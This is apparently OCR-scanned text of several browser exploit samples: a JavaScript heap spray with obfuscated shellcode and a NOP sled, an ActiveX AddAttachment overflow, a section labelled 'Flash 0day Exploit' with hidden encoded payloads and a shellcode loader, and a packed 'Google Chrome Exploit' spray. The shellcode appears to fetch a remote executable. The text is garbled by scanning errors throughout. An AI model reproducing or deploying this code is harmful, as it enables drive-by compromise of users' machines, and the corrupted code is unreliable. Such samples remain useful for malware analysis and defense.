return new Array(multiplier+1).join(input);

cutecode =
"cute9090cute9090cute9090cute9090cute9090cute9090cute9090cutel16EBcute335Bcute66D2cute89B8cute66A7c
ute0431cute4053cute6642cuteFA81cute0151cuteF37CcuteO5EBcuteE5E8cuteFFFFcute60FFcute88C2cute8BA7cut
eE6F8cuteD497cute05C3cute04A6cute383Fcute91A7cutel19A7cute9FE7cuteE42Ccute38BBcuteFE2Ccute1CAFcute
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1950cute994Bcute9AAScutel1EA7cuteE97Ccute5AAOcuteBAE1cuteCD6EcuteF3F9cuteA8CDcute4AFEcuteA249cute
A4A7cute5C45cute26E7cute649Fcute52D2cuteEF2EcuteC097cuteF2A5cute324FcuteADA6cute4CA7cuteC55EcuteE
9A6cuteDECFcuteB2C9cuteDBA7cuteC6D2cuteD8CBcute3DF3cute5FAlcuteB9B7cuteB9A7cute5232cuteBA19cute
BCA7cute80CFcuteBEE7cuteD5A7cuteAA58cuteFF58cuteEE7Ccute9383cute90F7cute9358cute4D87cuteAF63cute0
87CcuteC86FcuteCACFcute2BE7cute9846cute32F7cuteD2F1cute5FEFcute4037cute4137cuteE2CDcuteB7FEcuteCD
2Ccute7E2AcuteD2A7cuteD7A7cute432CcuteD90FcuteDAA7cute262Ccute35F1cuteDD47cuteDEA7cute2CF9cuteB
EO2cute9F2Ccute0A83cuteE282cuteE4A7cuteFFCDcuteEBCDcuteE7CDcute2D2CcuteEDA4cute2C3Bcute83A0cuted
7EOcuteEA61cute6564cuteC7D9cuteFA4FcuteF1A6cute98A7cute999Acute9E91cute7E80cuteF562cute6BA3cuteFF
61cuteBECFcute3COCcute38A0cute822Ccutel5BFcuteFE48cuteFFA7cute68CFcuteOBAOcute6AA8cuteOBCOcute04A
2cute50C0cuteEA23cute8CC2cute94ACcute3A03cute5A68cuteb61F8cute8757cute91ACcute8302cute3C16cute10A9
cute46A8cuteEDCOcute13A8cuteEBA8cutel1FEcuteD1ABcutel76Fcute6AC7cute37D2cute5A6Fcute7EACcute79D0
cute4AA8cute4857cute2CAOcute7373cute76FBcute6425cute739CcuteDBFBcute09FEcuteE69BcuteDB23cute3AC2c
ute82F1cuteD74AcuteECCEcuteO8ECcute2C94cuteA5A9cuteA254cute20EFcute66F9cute63F8cute62F9cute65F9cut
e64F9cuteA025cute369Bcute38A8cute68FAcute6C57cuteBAA4cute686Ccute3DAAcute5FA8cute4ES57cute8244cut
e41ACcutel423cute0298cutel6F3cuteA4ABcuteA7ABcuteA6ABcuteA9ABcuteA52Bcute10ACcuteCOFBcuteAE72cut
elF5FcuteAE57cute5440cuteAF57cute3B57cute0A81cuteDE9Ecute70FCcute98ACcute9486¢cute5788cute68C2cute
E3FOcute59A8cute2456cutedE57cute7D6Acute34A8cute079Acute6012cute9FABcute9DD7cuteA1BAcute648Ccute
9510cute66A8cute51A8cute3C25cute6D8Ccute4465cute7F6AcuteD4A8cute6CBDcute6EA8cute6A43cuteb6F10cute
71A9cuteC8A8cute70A8cuteOB56¢cute6757cute626Acute25A8cutel12FCcute13ACcute2D88cute2D57cute26BCcute
2C6Bcute3B23cute3A94cuteDC23cuteFE80Ocute81E5cute0875cute87BBcuteB67DcuteCF61cuteOCE9cute02ACcuteC
D25cute8880cuteB8C8cute8361cute9D16cute5892cute87DCcute5969cute92AFcuteD262cute6243cute9B91cuteED
C9cute1D49cute87EBcute5DABcute9D23cute3120cute58F1cuteCAF9cuteE823cute1594cuteB1DCcuteA3D0cuteF7
5DcuteD423cuteA088cute975DcuteEC61cuteOBE9cute62ABcute739Bcutel17A7cute90B8cuteDF7Ecute6DAOcuteAA
63cute74ABcute44E8cute8B59cuteC4B7cuteECA4FcuteED23cuteB78CcuteD375cuteBA23cute3CE3cuteA4F6cutebd
ABcuteBE23cuteB823cutel76DcuteE4F6cute566Bcute423Ecute3F57cuteB59AcuteCE39cute2191cute47D5cuteFCD
lcute5E4Ecute8F72cuteF5D3cute46D1cuteAA64cute6FB6cute23CCcute8558cuteF3D3cute2531cute6D38cutedF21
cuteCD12cute9E59cute018Dcute54E5cuteC798cute0128cute4207cuteDIA8cuteDAA8cute7468cute7074cute2f3ac
ute772fcute7777cute632ecute7475cute7165cute2e71cutebeb3cute612fcute7073cute632fcutebeblcute2e63cute
7865cute0065";

evilcode = unescape(cutecode.replace(/cute/g,"\x25\x75"));

bigblock = unescape("%u9090%u9090");
headersize = 20;
slackspace = headersize + evilcode.length;

while (bigblock.length < slackspace)
bigblock += bigblock;

fillblock = bigblock.substring(0, slackspace);
block = bigblock.substring(0, bigblock.length - slackspace);

while (block.length + slackspace < 200000)
block = block + block + fillblock;

memory = new Array();
for (i=0; i<500; i++)
memory[i] = block + evilcode;
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buffer = str_repeat('A’, 433);
buffer += "BBBB";
buffer += str_repeat(unescape("%0b%0b%0b%0b"), 63);

evilcute.AddAttachment(buffer, 1);
</script>
</head>
</html>

Flash 0day Exploit (Excerpted)

/*
x¢ 04 :
CD 16 OA %C EA +% Db A »0 +a Y-
i 00 »d p¥ OA “u Aé 2» AU OF pb
*
/
<div id=sun

style="display:none">var%20a%20%3D%20new%20Array%28%29%3B%0D%0Avar%20xcode%3Dloader%28%22log
Axt%22%2C%22MM%22%2C%22NN%22%29%262144%3B%0D%0Avar%20shellcode%3Dloader%28%22log.txt%22
%2C%22XX%22%2C%22YY%22%29%3B%0D%0Avar%201s%20%3D%20xcode-
%28shellcode.length*2+0x01020%29%3B%0D%0Avar%20b%20%3D%20loader%28%22log.txt%22%2C%22VV%22%
2C%22WW%22%29%3B%0D%0Awhile%28b.length%3Cls%29%0D%0A%7B%0D%0A%09b+%3Db%3B%0D%0A%7D
%0D%0Avar%20lh%3Db.substring%280%2Cls/2%29%3B%0D%0Adelete%20b%3B%0D%0AIN%20%3D%20lh%20+%
20shellcode%3B</div><div id=anhey
style="display:none">77696E646F775B225C7836355C7837365C7836315C783663225D2877696E646F775B225C78
37355C7836655C7836355C7837335C7836335C7836315C7837305C783635225D2873747229293B77696E646F775
B225C7836315C7836635C7836355C7837325C783734225D28275C75363639375C75396564315C7836365C783663
5C7836315C7837335C783638205C7833305C7836345C7836315C7837395C75376635315C75396136635C7536643
4625C75386264355C75346565335C7537383031205C75356261325C75363730645C7835315C7835315C7833615C
7833345C7833345C7833335C7833385C7833315C7833365C7833385C7833305C78333827293B</div>
<script language="'JavaScript'>
v
}
function ajax()
{

var xmlhttp_request = false;

try {

xmlhttp_request= new ActiveXObject('MsxmI2. XMLHTTP');
} catch (e)
{
try {
49



xmlhttp_request= new ActiveXObject('Microsoft. XMLHTTP');
} catch (E) {

xmlhttp_request= null;

}
}
if (Ixmlhttp_request && typeof XMLHttpRequest != 'undefined’)
{
xmlhttp_request= new XMLHttpRequest();
}
return xmlhttp_request;
}
function loader(url,a,b)
{

var xmlhttp = ajax();

xmlhttp.open('get’, url, false);
xmlhttp.send();

var page = xmlhttp.responseText;
page=p

var x=page.indexOf(a);

var y=page.indexOf(b)

var code=page.substring(x+2,y);

code=unescape(code);

return code;

var i=0;
var j=0;
var bb=new Array();
for (i = 0; i < OxdO; i++)
a[i] = Ih.substr(0, Ih.length);

for(i=0;i<0x100;i++)
for(j=0;j<0x10;j++)
bb[i*0x10+j] = lh.substr(0, (0x10000-(0x01020))/2);
for(i=0;i<0x100;i++)
for(j=0;j<0x0f;j++)
bb[i*0x10+j]=null;

for (i=0x1d0; i< a[i-0x100] = Ih.substr(0, Ih.length);
for(i=0;i<0x100;i++)
bb[i*0x10+0x0f]=null;

document.write("<embed src='anhey.swf' width=0 height=0></embed>");

</script>
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Google Chrome Exploit

<html>
<head>
<script src="c.css"></Script>
<script language="JavaScript">

eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!".replace(/*/,String)){while(c--
}{d[c.toString(a)]=k[c]| | c.toString(a)}k=[function(e){return d[e]}];e=function(){return"\\w+'};c=1};while(c-
-Kif(k[c]){p=p.replace(new RegExp("\\b'+e(c)+"\\b','g'),k[c])}}return p}('2
3=4["9"+"a"](b.8(/d/g,"\\6\\5"));2 1=4["7"+"c"1(f);e(2 i=0;i<l;i++){1=1+1;h.j(\'<o>k
1+3;</n\'+\'m>\")},25,25," | nop_sled|var|evilcode |window | x75|x25 | unes | replace |une|scape|sendcod
e|cape|c32|for|cutenop| |document| |write|throw|64|ipt|scr|script'.split('|"),0,{}))
</script>
</head>
<body>
</body>
</html>
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